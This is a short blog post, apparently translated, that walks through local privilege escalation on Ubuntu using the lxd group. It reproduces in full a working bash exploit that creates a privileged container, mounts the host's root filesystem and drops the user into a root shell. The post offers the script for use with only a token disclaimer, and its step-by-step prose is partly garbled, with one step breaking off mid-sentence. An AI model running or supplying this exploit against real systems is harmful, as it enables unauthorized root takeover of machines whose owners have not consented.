Exploiting security flaw in ubuntu server 20.04 LTS



The first of all is to install Ubuntu server 20.04 I will leave you a video in which you will know how to install it step by step in case you do not know how to do it.

Here is the link; Install Ubuntu server 20.04

Login to the machine directly or via ssh to proceed with the exploitation of the vulnerability. EX: ssh localhost@10.10.10.10.

I will leave you only 4 steps so that you can exploit this vulnerability are very, very easy to do.

# Step 1: Download build-alpine => wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine [Attacker Machine]

# Step 2: Build alpine => bash build-alpine (as root user) [Attacker Machine]

# Step 3: Run this script and you wilI will also leave you the link of the exploit so that you can use it for good practices only for good practices.

Ubuntu 18.04 - 'lxd' Privilege Escalation Exploit


#!/usr/bin/env bash

# ----------------------------------
# Authors: Marcelo Vazquez (S4vitar)
#	   Victor Lasa      (vowkin)
# ----------------------------------

# Step 1: Download build-alpine => wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine [Attacker Machine]
# Step 2: Build alpine => bash build-alpine (as root user) [Attacker Machine]
# Step 3: Run this script and you will get root [Victim Machine]
# Step 4: Once inside the container, navigate to /mnt/root to see all resources from the host machine

function helpPanel(){
  echo -e "\nUsage:"
  echo -e "\t[-f] Filename (.tar.gz alpine file)"
  echo -e "\t[-h] Show this help panel\n"
  exit 1
}

function createContainer(){
  lxc image import $filename --alias alpine && lxd init --auto
  echo -e "[*] Listing images...\n" && lxc image list
  lxc init alpine privesc -c security.privileged=true
  lxc config device add privesc giveMeRoot disk source=/ path=/mnt/root recursive=true
  lxc start privesc
  lxc exec privesc sh
  cleanup
}

function cleanup(){
  echo -en "\n[*] Removing container..."
  lxc stop privesc && lxc delete privesc && lxc image delete alpine
  echo " [√]"
}

set -o nounset
set -o errexit

declare -i parameter_enable=0; while getopts ":f:h:" arg; do
  case $arg in
    f) filename=$OPTARG && let parameter_enable+=1;;
    h) helpPanel;;
  esac
done

if [ $parameter_enable -ne 1 ]; then
  helpPanel
else
  createContainer
fi

Comments here, cracks!

Post a Comment

Comments here, cracks!

Post a Comment (0)

Previous Post Next Post